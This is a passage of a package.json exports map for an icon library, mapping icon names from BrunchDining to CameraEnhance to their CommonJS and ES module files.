\"./BrunchDiningOutlined\": {\n      \"require\": \"./BrunchDiningOutlined.js\",\n      \"import\": \"./BrunchDiningOutlined.mjs\",\n      \"default\": \"./BrunchDiningOutlined.mjs\"\n    },\n    \"./BrunchDiningRounded\": {\n      \"require\": \"./BrunchDiningRounded.js\",\n      \"import\": \"./BrunchDiningRounded.mjs\",\n      \"default\": \"./BrunchDiningRounded.mjs\"\n    },\n    \"./BrunchDiningSharp\": {\n      \"require\": \"./BrunchDiningSharp.js\",\n      \"import\": \"./BrunchDiningSharp.mjs\",\n      \"default\": \"./BrunchDiningSharp.mjs\"\n    },\n    \"./BrunchDiningTwoTone\": {\n      \"require\": \"./BrunchDiningTwoTone.js\",\n      \"import\": \"./BrunchDiningTwoTone.mjs\",\n      \"default\": \"./BrunchDiningTwoTone.mjs\"\n    },\n    \"./Brush\": {\n      \"require\": \"./Brush.js\",\n      \"import\": \"./Brush.mjs\",\n      \"default\": \"./Brush.mjs\"\n    },\n    \"./BrushOutlined\": {\n      \"require\": \"./BrushOutlined.js\",\n      \"import\": \"./BrushOutlined.mjs\",\n      \"default\": \"./BrushOutlined.mjs\"\n    },\n    \"./BrushRounded\": {\n      \"require\": \"./BrushRounded.js\",\n      \"import\": \"./BrushRounded.mjs\",\n      \"default\": \"./BrushRounded.mjs\"\n    },\n    \"./BrushSharp\": {\n      \"require\": \"./BrushSharp.js\",\n      \"import\": \"./BrushSharp.mjs\",\n      \"default\": \"./BrushSharp.mjs\"\n    },\n    \"./BrushTwoTone\": {\n      \"require\": \"./BrushTwoTone.js\",\n      \"import\": \"./BrushTwoTone.mjs\",\n      \"default\": \"./BrushTwoTone.mjs\"\n    },\n    \"./BubbleChart\": {\n      \"require\": \"./BubbleChart.js\",\n      \"import\": \"./BubbleChart.mjs\",\n      \"default\": \"./BubbleChart.mjs\"\n    },\n    \"./BubbleChartOutlined\": {\n      \"require\": \"./BubbleChartOutlined.js\",\n      \"import\": \"./BubbleChartOutlined.mjs\",\n      \"default\": \"./BubbleChartOutlined.mjs\"\n    },\n    \"./BubbleChartRounded\": {\n      \"require\": \"./BubbleChartRounded.js\",\n      \"import\": \"./BubbleChartRounded.mjs\",\n      \"default\": \"./BubbleChartRounded.mjs\"\n    },\n    \"./BubbleChartSharp\": {\n      \"require\": \"./BubbleChartSharp.js\",\n      \"import\": \"./BubbleChartSharp.mjs\",\n      \"default\": \"./BubbleChartSharp.mjs\"\n    },\n    \"./BubbleChartTwoTone\": {\n      \"require\": \"./BubbleChartTwoTone.js\",\n      \"import\": \"./BubbleChartTwoTone.mjs\",\n      \"default\": \"./BubbleChartTwoTone.mjs\"\n    },\n    \"./BugReport\": {\n      \"require\": \"./BugReport.js\",\n      \"import\": \"./BugReport.mjs\",\n      \"default\": \"./BugReport.mjs\"\n    },\n    \"./BugReportOutlined\": {\n      \"require\": \"./BugReportOutlined.js\",\n      \"import\": \"./BugReportOutlined.mjs\",\n      \"default\": \"./BugReportOutlined.mjs\"\n    },\n    \"./BugReportRounded\": {\n      \"require\": \"./BugReportRounded.js\",\n      \"import\": \"./BugReportRounded.mjs\",\n      \"default\": \"./BugReportRounded.mjs\"\n    },\n    \"./BugReportSharp\": {\n      \"require\": \"./BugReportSharp.js\",\n      \"import\": \"./BugReportSharp.mjs\",\n      \"default\": \"./BugReportSharp.mjs\"\n    },\n    \"./BugReportTwoTone\": {\n      \"require\": \"./BugReportTwoTone.js\",\n      \"import\": \"./BugReportTwoTone.mjs\",\n      \"default\": \"./BugReportTwoTone.mjs\"\n    },\n    \"./Build\": {\n      \"require\": \"./Build.js\",\n      \"import\": \"./Build.mjs\",\n      \"default\": \"./Build.mjs\"\n    },\n    \"./BuildCircle\": {\n      \"require\": \"./BuildCircle.js\",\n      \"import\": \"./BuildCircle.mjs\",\n      \"default\": \"./BuildCircle.mjs\"\n    },\n    \"./BuildCircleOutlined\": {\n      \"require\": \"./BuildCircleOutlined.js\",\n      \"import\": \"./BuildCircleOutlined.mjs\",\n      \"default\": \"./BuildCircleOutlined.mjs\"\n    },\n    \"./BuildCircleRounded\": {\n      \"require\": \"./BuildCircleRounded.js\",\n      \"import\": \"./BuildCircleRounded.mjs\",\n      \"default\": \"./BuildCircleRounded.mjs\"\n    },\n    \"./BuildCircleSharp\": {\n      \"require\": \"./BuildCircleSharp.js\",\n      \"import\": \"./BuildCircleSharp.mjs\",\n      \"default\": \"./BuildCircleSharp.mjs\"\n    },\n    \"./BuildCircleTwoTone\": {\n      \"require\": \"./BuildCircleTwoTone.js\",\n      \"import\": \"./BuildCircleTwoTone.mjs\",\n      \"default\": \"./BuildCircleTwoTone.mjs\"\n    },\n    \"./BuildOutlined\": {\n      \"require\": \"./BuildOutlined.js\",\n      \"import\": \"./BuildOutlined.mjs\",\n      \"default\": \"./BuildOutlined.mjs\"\n    },\n    \"./BuildRounded\": {\n      \"require\": \"./BuildRounded.js\",\n      \"import\": \"./BuildRounded.mjs\",\n      \"default\": \"./BuildRounded.mjs\"\n    },\n    \"./BuildSharp\": {\n      \"require\": \"./BuildSharp.js\",\n      \"import\": \"./BuildSharp.mjs\",\n      \"default\": \"./BuildSharp.mjs\"\n    },\n    \"./BuildTwoTone\": {\n      \"require\": \"./BuildTwoTone.js\",\n      \"import\": \"./BuildTwoTone.mjs\",\n      \"default\": \"./BuildTwoTone.mjs\"\n    },\n    \"./Bungalow\": {\n      \"require\": \"./Bungalow.js\",\n      \"import\": \"./Bungalow.mjs\",\n      \"default\": \"./Bungalow.mjs\"\n    },\n    \"./BungalowOutlined\": {\n      \"require\": \"./BungalowOutlined.js\",\n      \"import\": \"./BungalowOutlined.mjs\",\n      \"default\": \"./BungalowOutlined.mjs\"\n    },\n    \"./BungalowRounded\": {\n      \"require\": \"./BungalowRounded.js\",\n      \"import\": \"./BungalowRounded.mjs\",\n      \"default\": \"./BungalowRounded.mjs\"\n    },\n    \"./BungalowSharp\": {\n      \"require\": \"./BungalowSharp.js\",\n      \"import\": \"./BungalowSharp.mjs\",\n      \"default\": \"./BungalowSharp.mjs\"\n    },\n    \"./BungalowTwoTone\": {\n      \"require\": \"./BungalowTwoTone.js\",\n      \"import\": \"./BungalowTwoTone.mjs\",\n      \"default\": \"./BungalowTwoTone.mjs\"\n    },\n    \"./BurstMode\": {\n      \"require\": \"./BurstMode.js\",\n      \"import\": \"./BurstMode.mjs\",\n      \"default\": \"./BurstMode.mjs\"\n    },\n    \"./BurstModeOutlined\": {\n      \"require\": \"./BurstModeOutlined.js\",\n      \"import\": \"./BurstModeOutlined.mjs\",\n      \"default\": \"./BurstModeOutlined.mjs\"\n    },\n    \"./BurstModeRounded\": {\n      \"require\": \"./BurstModeRounded.js\",\n      \"import\": \"./BurstModeRounded.mjs\",\n      \"default\": \"./BurstModeRounded.mjs\"\n    },\n    \"./BurstModeSharp\": {\n      \"require\": \"./BurstModeSharp.js\",\n      \"import\": \"./BurstModeSharp.mjs\",\n      \"default\": \"./BurstModeSharp.mjs\"\n    },\n    \"./BurstModeTwoTone\": {\n      \"require\": \"./BurstModeTwoTone.js\",\n      \"import\": \"./BurstModeTwoTone.mjs\",\n      \"default\": \"./BurstModeTwoTone.mjs\"\n    },\n    \"./BusAlert\": {\n      \"require\": \"./BusAlert.js\",\n      \"import\": \"./BusAlert.mjs\",\n      \"default\": \"./BusAlert.mjs\"\n    },\n    \"./BusAlertOutlined\": {\n      \"import\": \"./BusAlertOutlined.mjs\",\n      \"require\": \"./BusAlertOutlined.js\",\n      \"default\": \"./BusAlertOutlined.mjs\"\n    },\n    \"./BusAlertRounded\": {\n      \"import\": \"./BusAlertRounded.mjs\",\n      \"require\": \"./BusAlertRounded.js\",\n      \"default\": \"./BusAlertRounded.mjs\"\n    },\n    \"./BusAlertSharp\": {\n      \"import\": \"./BusAlertSharp.mjs\",\n      \"require\": \"./BusAlertSharp.js\",\n      \"default\": \"./BusAlertSharp.mjs\"\n    },\n    \"./BusAlertTwoTone\": {\n      \"import\": \"./BusAlertTwoTone.mjs\",\n      \"require\": \"./BusAlertTwoTone.js\",\n      \"default\": \"./BusAlertTwoTone.mjs\"\n    },\n    \"./Business\": {\n      \"import\": \"./Business.mjs\",\n      \"require\": \"./Business.js\",\n      \"default\": \"./Business.mjs\"\n    },\n    \"./BusinessCenter\": {\n      \"import\": \"./BusinessCenter.mjs\",\n      \"require\": \"./BusinessCenter.js\",\n      \"default\": \"./BusinessCenter.mjs\"\n    },\n    \"./BusinessCenterOutlined\": {\n      \"import\": \"./BusinessCenterOutlined.mjs\",\n      \"require\": \"./BusinessCenterOutlined.js\",\n      \"default\": \"./BusinessCenterOutlined.mjs\"\n    },\n    \"./BusinessCenterRounded\": {\n      \"import\": \"./BusinessCenterRounded.mjs\",\n      \"require\": \"./BusinessCenterRounded.js\",\n      \"default\": \"./BusinessCenterRounded.mjs\"\n    },\n    \"./BusinessCenterSharp\": {\n      \"import\": \"./BusinessCenterSharp.mjs\",\n      \"require\": \"./BusinessCenterSharp.js\",\n      \"default\": \"./BusinessCenterSharp.mjs\"\n    },\n    \"./BusinessCenterTwoTone\": {\n      \"import\": \"./BusinessCenterTwoTone.mjs\",\n      \"require\": \"./BusinessCenterTwoTone.js\",\n      \"default\": \"./BusinessCenterTwoTone.mjs\"\n    },\n    \"./BusinessOutlined\": {\n      \"import\": \"./BusinessOutlined.mjs\",\n      \"require\": \"./BusinessOutlined.js\",\n      \"default\": \"./BusinessOutlined.mjs\"\n    },\n    \"./BusinessRounded\": {\n      \"import\": \"./BusinessRounded.mjs\",\n      \"require\": \"./BusinessRounded.js\",\n      \"default\": \"./BusinessRounded.mjs\"\n    },\n    \"./BusinessSharp\": {\n      \"import\": \"./BusinessSharp.mjs\",\n      \"require\": \"./BusinessSharp.js\",\n      \"default\": \"./BusinessSharp.mjs\"\n    },\n    \"./BusinessTwoTone\": {\n      \"import\": \"./BusinessTwoTone.mjs\",\n      \"require\": \"./BusinessTwoTone.js\",\n      \"default\": \"./BusinessTwoTone.mjs\"\n    },\n    \"./Cabin\": {\n      \"import\": \"./Cabin.mjs\",\n      \"require\": \"./Cabin.js\",\n      \"default\": \"./Cabin.mjs\"\n    },\n    \"./CabinOutlined\": {\n      \"import\": \"./CabinOutlined.mjs\",\n      \"require\": \"./CabinOutlined.js\",\n      \"default\": \"./CabinOutlined.mjs\"\n    },\n    \"./CabinRounded\": {\n      \"import\": \"./CabinRounded.mjs\",\n      \"require\": \"./CabinRounded.js\",\n      \"default\": \"./CabinRounded.mjs\"\n    },\n    \"./CabinSharp\": {\n      \"import\": \"./CabinSharp.mjs\",\n      \"require\": \"./CabinSharp.js\",\n      \"default\": \"./CabinSharp.mjs\"\n    },\n    \"./CabinTwoTone\": {\n      \"import\": \"./CabinTwoTone.mjs\",\n      \"require\": \"./CabinTwoTone.js\",\n      \"default\": \"./CabinTwoTone.mjs\"\n    },\n    \"./Cable\": {\n      \"import\": \"./Cable.mjs\",\n      \"require\": \"./Cable.js\",\n      \"default\": \"./Cable.mjs\"\n    },\n    \"./CableOutlined\": {\n      \"import\": \"./CableOutlined.mjs\",\n      \"require\": \"./CableOutlined.js\",\n      \"default\": \"./CableOutlined.mjs\"\n    },\n    \"./CableRounded\": {\n      \"import\": \"./CableRounded.mjs\",\n      \"require\": \"./CableRounded.js\",\n      \"default\": \"./CableRounded.mjs\"\n    },\n    \"./CableSharp\": {\n      \"import\": \"./CableSharp.mjs\",\n      \"require\": \"./CableSharp.js\",\n      \"default\": \"./CableSharp.mjs\"\n    },\n    \"./CableTwoTone\": {\n      \"import\": \"./CableTwoTone.mjs\",\n      \"require\": \"./CableTwoTone.js\",\n      \"default\": \"./CableTwoTone.mjs\"\n    },\n    \"./Cached\": {\n      \"import\": \"./Cached.mjs\",\n      \"require\": \"./Cached.js\",\n      \"default\": \"./Cached.mjs\"\n    },\n    \"./CachedOutlined\": {\n      \"import\": \"./CachedOutlined.mjs\",\n      \"require\": \"./CachedOutlined.js\",\n      \"default\": \"./CachedOutlined.mjs\"\n    },\n    \"./CachedRounded\": {\n      \"import\": \"./CachedRounded.mjs\",\n      \"require\": \"./CachedRounded.js\",\n      \"default\": \"./CachedRounded.mjs\"\n    },\n    \"./CachedSharp\": {\n      \"import\": \"./CachedSharp.mjs\",\n      \"require\": \"./CachedSharp.js\",\n      \"default\": \"./CachedSharp.mjs\"\n    },\n    \"./CachedTwoTone\": {\n      \"import\": \"./CachedTwoTone.mjs\",\n      \"require\": \"./CachedTwoTone.js\",\n      \"default\": \"./CachedTwoTone.mjs\"\n    },\n    \"./Cake\": {\n      \"import\": \"./Cake.mjs\",\n      \"require\": \"./Cake.js\",\n      \"default\": \"./Cake.mjs\"\n    },\n    \"./CakeOutlined\": {\n      \"import\": \"./CakeOutlined.mjs\",\n      \"require\": \"./CakeOutlined.js\",\n      \"default\": \"./CakeOutlined.mjs\"\n    },\n    \"./CakeRounded\": {\n      \"import\": \"./CakeRounded.mjs\",\n      \"require\": \"./CakeRounded.js\",\n      \"default\": \"./CakeRounded.mjs\"\n    },\n    \"./CakeSharp\": {\n      \"import\": \"./CakeSharp.mjs\",\n      \"require\": \"./CakeSharp.js\",\n      \"default\": \"./CakeSharp.mjs\"\n    },\n    \"./CakeTwoTone\": {\n      \"import\": \"./CakeTwoTone.mjs\",\n      \"require\": \"./CakeTwoTone.js\",\n      \"default\": \"./CakeTwoTone.mjs\"\n    },\n    \"./Calculate\": {\n      \"import\": \"./Calculate.mjs\",\n      \"require\": \"./Calculate.js\",\n      \"default\": \"./Calculate.mjs\"\n    },\n    \"./CalculateOutlined\": {\n      \"import\": \"./CalculateOutlined.mjs\",\n      \"require\": \"./CalculateOutlined.js\",\n      \"default\": \"./CalculateOutlined.mjs\"\n    },\n    \"./CalculateRounded\": {\n      \"import\": \"./CalculateRounded.mjs\",\n      \"require\": \"./CalculateRounded.js\",\n      \"default\": \"./CalculateRounded.mjs\"\n    },\n    \"./CalculateSharp\": {\n      \"import\": \"./CalculateSharp.mjs\",\n      \"require\": \"./CalculateSharp.js\",\n      \"default\": \"./CalculateSharp.mjs\"\n    },\n    \"./CalculateTwoTone\": {\n      \"import\": \"./CalculateTwoTone.mjs\",\n      \"require\": \"./CalculateTwoTone.js\",\n      \"default\": \"./CalculateTwoTone.mjs\"\n    },\n    \"./CalendarMonth\": {\n      \"import\": \"./CalendarMonth.mjs\",\n      \"require\": \"./CalendarMonth.js\",\n      \"default\": \"./CalendarMonth.mjs\"\n    },\n    \"./CalendarMonthOutlined\": {\n      \"import\": \"./CalendarMonthOutlined.mjs\",\n      \"require\": \"./CalendarMonthOutlined.js\",\n      \"default\": \"./CalendarMonthOutlined.mjs\"\n    },\n    \"./CalendarMonthRounded\": {\n      \"import\": \"./CalendarMonthRounded.mjs\",\n      \"require\": \"./CalendarMonthRounded.js\",\n      \"default\": \"./CalendarMonthRounded.mjs\"\n    },\n    \"./CalendarMonthSharp\": {\n      \"import\": \"./CalendarMonthSharp.mjs\",\n      \"require\": \"./CalendarMonthSharp.js\",\n      \"default\": \"./CalendarMonthSharp.mjs\"\n    },\n    \"./CalendarMonthTwoTone\": {\n      \"import\": \"./CalendarMonthTwoTone.mjs\",\n      \"require\": \"./CalendarMonthTwoTone.js\",\n      \"default\": \"./CalendarMonthTwoTone.mjs\"\n    },\n    \"./CalendarToday\": {\n      \"import\": \"./CalendarToday.mjs\",\n      \"require\": \"./CalendarToday.js\",\n      \"default\": \"./CalendarToday.mjs\"\n    },\n    \"./CalendarTodayOutlined\": {\n      \"import\": \"./CalendarTodayOutlined.mjs\",\n      \"require\": \"./CalendarTodayOutlined.js\",\n      \"default\": \"./CalendarTodayOutlined.mjs\"\n    },\n    \"./CalendarTodayRounded\": {\n      \"import\": \"./CalendarTodayRounded.mjs\",\n      \"require\": \"./CalendarTodayRounded.js\",\n      \"default\": \"./CalendarTodayRounded.mjs\"\n    },\n    \"./CalendarTodaySharp\": {\n      \"import\": \"./CalendarTodaySharp.mjs\",\n      \"require\": \"./CalendarTodaySharp.js\",\n      \"default\": \"./CalendarTodaySharp.mjs\"\n    },\n    \"./CalendarTodayTwoTone\": {\n      \"import\": \"./CalendarTodayTwoTone.mjs\",\n      \"require\": \"./CalendarTodayTwoTone.js\",\n      \"default\": \"./CalendarTodayTwoTone.mjs\"\n    },\n    \"./CalendarViewDay\": {\n      \"import\": \"./CalendarViewDay.mjs\",\n      \"require\": \"./CalendarViewDay.js\",\n      \"default\": \"./CalendarViewDay.mjs\"\n    },\n    \"./CalendarViewDayOutlined\": {\n      \"import\": \"./CalendarViewDayOutlined.mjs\",\n      \"require\": \"./CalendarViewDayOutlined.js\",\n      \"default\": \"./CalendarViewDayOutlined.mjs\"\n    },\n    \"./CalendarViewDayRounded\": {\n      \"import\": \"./CalendarViewDayRounded.mjs\",\n      \"require\": \"./CalendarViewDayRounded.js\",\n      \"default\": \"./CalendarViewDayRounded.mjs\"\n    },\n    \"./CalendarViewDaySharp\": {\n      \"import\": \"./CalendarViewDaySharp.mjs\",\n      \"require\": \"./CalendarViewDaySharp.js\",\n      \"default\": \"./CalendarViewDaySharp.mjs\"\n    },\n    \"./CalendarViewDayTwoTone\": {\n      \"import\": \"./CalendarViewDayTwoTone.mjs\",\n      \"require\": \"./CalendarViewDayTwoTone.js\",\n      \"default\": \"./CalendarViewDayTwoTone.mjs\"\n    },\n    \"./CalendarViewMonth\": {\n      \"import\": \"./CalendarViewMonth.mjs\",\n      \"require\": \"./CalendarViewMonth.js\",\n      \"default\": \"./CalendarViewMonth.mjs\"\n    },\n    \"./CalendarViewMonthOutlined\": {\n      \"import\": \"./CalendarViewMonthOutlined.mjs\",\n      \"require\": \"./CalendarViewMonthOutlined.js\",\n      \"default\": \"./CalendarViewMonthOutlined.mjs\"\n    },\n    \"./CalendarViewMonthRounded\": {\n      \"import\": \"./CalendarViewMonthRounded.mjs\",\n      \"require\": \"./CalendarViewMonthRounded.js\",\n      \"default\": \"./CalendarViewMonthRounded.mjs\"\n    },\n    \"./CalendarViewMonthSharp\": {\n      \"import\": \"./CalendarViewMonthSharp.mjs\",\n      \"require\": \"./CalendarViewMonthSharp.js\",\n      \"default\": \"./CalendarViewMonthSharp.mjs\"\n    },\n    \"./CalendarViewMonthTwoTone\": {\n      \"import\": \"./CalendarViewMonthTwoTone.mjs\",\n      \"require\": \"./CalendarViewMonthTwoTone.js\",\n      \"default\": \"./CalendarViewMonthTwoTone.mjs\"\n    },\n    \"./CalendarViewWeek\": {\n      \"import\": \"./CalendarViewWeek.mjs\",\n      \"require\": \"./CalendarViewWeek.js\",\n      \"default\": \"./CalendarViewWeek.mjs\"\n    },\n    \"./CalendarViewWeekOutlined\": {\n      \"import\": \"./CalendarViewWeekOutlined.mjs\",\n      \"require\": \"./CalendarViewWeekOutlined.js\",\n      \"default\": \"./CalendarViewWeekOutlined.mjs\"\n    },\n    \"./CalendarViewWeekRounded\": {\n      \"import\": \"./CalendarViewWeekRounded.mjs\",\n      \"require\": \"./CalendarViewWeekRounded.js\",\n      \"default\": \"./CalendarViewWeekRounded.mjs\"\n    },\n    \"./CalendarViewWeekSharp\": {\n      \"import\": \"./CalendarViewWeekSharp.mjs\",\n      \"require\": \"./CalendarViewWeekSharp.js\",\n      \"default\": \"./CalendarViewWeekSharp.mjs\"\n    },\n    \"./CalendarViewWeekTwoTone\": {\n      \"import\": \"./CalendarViewWeekTwoTone.mjs\",\n      \"require\": \"./CalendarViewWeekTwoTone.js\",\n      \"default\": \"./CalendarViewWeekTwoTone.mjs\"\n    },\n    \"./Call\": {\n      \"import\": \"./Call.mjs\",\n      \"require\": \"./Call.js\",\n      \"default\": \"./Call.mjs\"\n    },\n    \"./CallEnd\": {\n      \"import\": \"./CallEnd.mjs\",\n      \"require\": \"./CallEnd.js\",\n      \"default\": \"./CallEnd.mjs\"\n    },\n    \"./CallEndOutlined\": {\n      \"import\": \"./CallEndOutlined.mjs\",\n      \"require\": \"./CallEndOutlined.js\",\n      \"default\": \"./CallEndOutlined.mjs\"\n    },\n    \"./CallEndRounded\": {\n      \"import\": \"./CallEndRounded.mjs\",\n      \"require\": \"./CallEndRounded.js\",\n      \"default\": \"./CallEndRounded.mjs\"\n    },\n    \"./CallEndSharp\": {\n      \"import\": \"./CallEndSharp.mjs\",\n      \"require\": \"./CallEndSharp.js\",\n      \"default\": \"./CallEndSharp.mjs\"\n    },\n    \"./CallEndTwoTone\": {\n      \"require\": \"./CallEndTwoTone.js\",\n      \"import\": \"./CallEndTwoTone.mjs\",\n      \"default\": \"./CallEndTwoTone.mjs\"\n    },\n    \"./CallMade\": {\n      \"require\": \"./CallMade.js\",\n      \"import\": \"./CallMade.mjs\",\n      \"default\": \"./CallMade.mjs\"\n    },\n    \"./CallMadeOutlined\": {\n      \"require\": \"./CallMadeOutlined.js\",\n      \"import\": \"./CallMadeOutlined.mjs\",\n      \"default\": \"./CallMadeOutlined.mjs\"\n    },\n    \"./CallMadeRounded\": {\n      \"require\": \"./CallMadeRounded.js\",\n      \"import\": \"./CallMadeRounded.mjs\",\n      \"default\": \"./CallMadeRounded.mjs\"\n    },\n    \"./CallMadeSharp\": {\n      \"require\": \"./CallMadeSharp.js\",\n      \"import\": \"./CallMadeSharp.mjs\",\n      \"default\": \"./CallMadeSharp.mjs\"\n    },\n    \"./CallMadeTwoTone\": {\n      \"require\": \"./CallMadeTwoTone.js\",\n      \"import\": \"./CallMadeTwoTone.mjs\",\n      \"default\": \"./CallMadeTwoTone.mjs\"\n    },\n    \"./CallMerge\": {\n      \"require\": \"./CallMerge.js\",\n      \"import\": \"./CallMerge.mjs\",\n      \"default\": \"./CallMerge.mjs\"\n    },\n    \"./CallMergeOutlined\": {\n      \"require\": \"./CallMergeOutlined.js\",\n      \"import\": \"./CallMergeOutlined.mjs\",\n      \"default\": \"./CallMergeOutlined.mjs\"\n    },\n    \"./CallMergeRounded\": {\n      \"require\": \"./CallMergeRounded.js\",\n      \"import\": \"./CallMergeRounded.mjs\",\n      \"default\": \"./CallMergeRounded.mjs\"\n    },\n    \"./CallMergeSharp\": {\n      \"require\": \"./CallMergeSharp.js\",\n      \"import\": \"./CallMergeSharp.mjs\",\n      \"default\": \"./CallMergeSharp.mjs\"\n    },\n    \"./CallMergeTwoTone\": {\n      \"require\": \"./CallMergeTwoTone.js\",\n      \"import\": \"./CallMergeTwoTone.mjs\",\n      \"default\": \"./CallMergeTwoTone.mjs\"\n    },\n    \"./CallMissed\": {\n      \"require\": \"./CallMissed.js\",\n      \"import\": \"./CallMissed.mjs\",\n      \"default\": \"./CallMissed.mjs\"\n    },\n    \"./CallMissedOutgoing\": {\n      \"require\": \"./CallMissedOutgoing.js\",\n      \"import\": \"./CallMissedOutgoing.mjs\",\n      \"default\": \"./CallMissedOutgoing.mjs\"\n    },\n    \"./CallMissedOutgoingOutlined\": {\n      \"require\": \"./CallMissedOutgoingOutlined.js\",\n      \"import\": \"./CallMissedOutgoingOutlined.mjs\",\n      \"default\": \"./CallMissedOutgoingOutlined.mjs\"\n    },\n    \"./CallMissedOutgoingRounded\": {\n      \"require\": \"./CallMissedOutgoingRounded.js\",\n      \"import\": \"./CallMissedOutgoingRounded.mjs\",\n      \"default\": \"./CallMissedOutgoingRounded.mjs\"\n    },\n    \"./CallMissedOutgoingSharp\": {\n      \"require\": \"./CallMissedOutgoingSharp.js\",\n      \"import\": \"./CallMissedOutgoingSharp.mjs\",\n      \"default\": \"./CallMissedOutgoingSharp.mjs\"\n    },\n    \"./CallMissedOutgoingTwoTone\": {\n      \"require\": \"./CallMissedOutgoingTwoTone.js\",\n      \"import\": \"./CallMissedOutgoingTwoTone.mjs\",\n      \"default\": \"./CallMissedOutgoingTwoTone.mjs\"\n    },\n    \"./CallMissedOutlined\": {\n      \"require\": \"./CallMissedOutlined.js\",\n      \"import\": \"./CallMissedOutlined.mjs\",\n      \"default\": \"./CallMissedOutlined.mjs\"\n    },\n    \"./CallMissedRounded\": {\n      \"import\": \"./CallMissedRounded.mjs\",\n      \"require\": \"./CallMissedRounded.js\",\n      \"default\": \"./CallMissedRounded.mjs\"\n    },\n    \"./CallMissedSharp\": {\n      \"import\": \"./CallMissedSharp.mjs\",\n      \"require\": \"./CallMissedSharp.js\",\n      \"default\": \"./CallMissedSharp.mjs\"\n    },\n    \"./CallMissedTwoTone\": {\n      \"import\": \"./CallMissedTwoTone.mjs\",\n      \"require\": \"./CallMissedTwoTone.js\",\n      \"default\": \"./CallMissedTwoTone.mjs\"\n    },\n    \"./CallOutlined\": {\n      \"import\": \"./CallOutlined.mjs\",\n      \"require\": \"./CallOutlined.js\",\n      \"default\": \"./CallOutlined.mjs\"\n    },\n    \"./CallReceived\": {\n      \"import\": \"./CallReceived.mjs\",\n      \"require\": \"./CallReceived.js\",\n      \"default\": \"./CallReceived.mjs\"\n    },\n    \"./CallReceivedOutlined\": {\n      \"import\": \"./CallReceivedOutlined.mjs\",\n      \"require\": \"./CallReceivedOutlined.js\",\n      \"default\": \"./CallReceivedOutlined.mjs\"\n    },\n    \"./CallReceivedRounded\": {\n      \"import\": \"./CallReceivedRounded.mjs\",\n      \"require\": \"./CallReceivedRounded.js\",\n      \"default\": \"./CallReceivedRounded.mjs\"\n    },\n    \"./CallReceivedSharp\": {\n      \"import\": \"./CallReceivedSharp.mjs\",\n      \"require\": \"./CallReceivedSharp.js\",\n      \"default\": \"./CallReceivedSharp.mjs\"\n    },\n    \"./CallReceivedTwoTone\": {\n      \"import\": \"./CallReceivedTwoTone.mjs\",\n      \"require\": \"./CallReceivedTwoTone.js\",\n      \"default\": \"./CallReceivedTwoTone.mjs\"\n    },\n    \"./CallRounded\": {\n      \"import\": \"./CallRounded.mjs\",\n      \"require\": \"./CallRounded.js\",\n      \"default\": \"./CallRounded.mjs\"\n    },\n    \"./CallSharp\": {\n      \"import\": \"./CallSharp.mjs\",\n      \"require\": \"./CallSharp.js\",\n      \"default\": \"./CallSharp.mjs\"\n    },\n    \"./CallSplit\": {\n      \"import\": \"./CallSplit.mjs\",\n      \"require\": \"./CallSplit.js\",\n      \"default\": \"./CallSplit.mjs\"\n    },\n    \"./CallSplitOutlined\": {\n      \"import\": \"./CallSplitOutlined.mjs\",\n      \"require\": \"./CallSplitOutlined.js\",\n      \"default\": \"./CallSplitOutlined.mjs\"\n    },\n    \"./CallSplitRounded\": {\n      \"import\": \"./CallSplitRounded.mjs\",\n      \"require\": \"./CallSplitRounded.js\",\n      \"default\": \"./CallSplitRounded.mjs\"\n    },\n    \"./CallSplitSharp\": {\n      \"import\": \"./CallSplitSharp.mjs\",\n      \"require\": \"./CallSplitSharp.js\",\n      \"default\": \"./CallSplitSharp.mjs\"\n    },\n    \"./CallSplitTwoTone\": {\n      \"import\": \"./CallSplitTwoTone.mjs\",\n      \"require\": \"./CallSplitTwoTone.js\",\n      \"default\": \"./CallSplitTwoTone.mjs\"\n    },\n    \"./CallToAction\": {\n      \"import\": \"./CallToAction.mjs\",\n      \"require\": \"./CallToAction.js\",\n      \"default\": \"./CallToAction.mjs\"\n    },\n    \"./CallToActionOutlined\": {\n      \"import\": \"./CallToActionOutlined.mjs\",\n      \"require\": \"./CallToActionOutlined.js\",\n      \"default\": \"./CallToActionOutlined.mjs\"\n    },\n    \"./CallToActionRounded\": {\n      \"import\": \"./CallToActionRounded.mjs\",\n      \"require\": \"./CallToActionRounded.js\",\n      \"default\": \"./CallToActionRounded.mjs\"\n    },\n    \"./CallToActionSharp\": {\n      \"import\": \"./CallToActionSharp.mjs\",\n      \"require\": \"./CallToActionSharp.js\",\n      \"default\": \"./CallToActionSharp.mjs\"\n    },\n    \"./CallToActionTwoTone\": {\n      \"import\": \"./CallToActionTwoTone.mjs\",\n      \"require\": \"./CallToActionTwoTone.js\",\n      \"default\": \"./CallToActionTwoTone.mjs\"\n    },\n    \"./CallTwoTone\": {\n      \"import\": \"./CallTwoTone.mjs\",\n      \"require\": \"./CallTwoTone.js\",\n      \"default\": \"./CallTwoTone.mjs\"\n    },\n    \"./Camera\": {\n      \"import\": \"./Camera.mjs\",\n      \"require\": \"./Camera.js\",\n      \"default\": \"./Camera.mjs\"\n    },\n    \"./CameraAlt\": {\n      \"import\": \"./CameraAlt.mjs\",\n      \"require\": \"./CameraAlt.js\",\n      \"default\": \"./CameraAlt.mjs\"\n    },\n    \"./CameraAltOutlined\": {\n      \"import\": \"./CameraAltOutlined.mjs\",\n      \"require\": \"./CameraAltOutlined.js\",\n      \"default\": \"./CameraAltOutlined.mjs\"\n    },\n    \"./CameraAltRounded\": {\n      \"import\": \"./CameraAltRounded.mjs\",\n      \"require\": \"./CameraAltRounded.js\",\n      \"default\": \"./CameraAltRounded.mjs\"\n    },\n    \"./CameraAltSharp\": {\n      \"import\": \"./CameraAltSharp.mjs\",\n      \"require\": \"./CameraAltSharp.js\",\n      \"default\": \"./CameraAltSharp.mjs\"\n    },\n    \"./CameraAltTwoTone\": {\n      \"import\": \"./CameraAltTwoTone.mjs\",\n      \"require\": \"./CameraAltTwoTone.js\",\n      \"default\": \"./CameraAltTwoTone.mjs\"\n    },\n    \"./CameraEnhance\": {\n      \"import\": \"./CameraEnhance.mjs\",\n      \"require\": \"./CameraEnhance.js\",\n      \"default\": \"./CameraEnhance.mjs\"\n    },\n    \"./CameraEnhanceOutlined\": {\n      \"import\": \"./CameraEnhanceOutlined.mjs\",\n      \"require\": \"./CameraEnhanceOutlined.js\",\n      \"default\": \"./CameraEnhanceOutlined.mjs\"\n    },\n    \"./CameraEnhanceRounded\": {\n      \"import\": \"./CameraEnhanceRounded.mjs\",\n      \"require\": \"./CameraEnhanceRounded.js\",\n      \"default\": \"./CameraEnhanceRounded.mjs\"\n    },\n    \"./CameraEnhanceSharp\": {\n      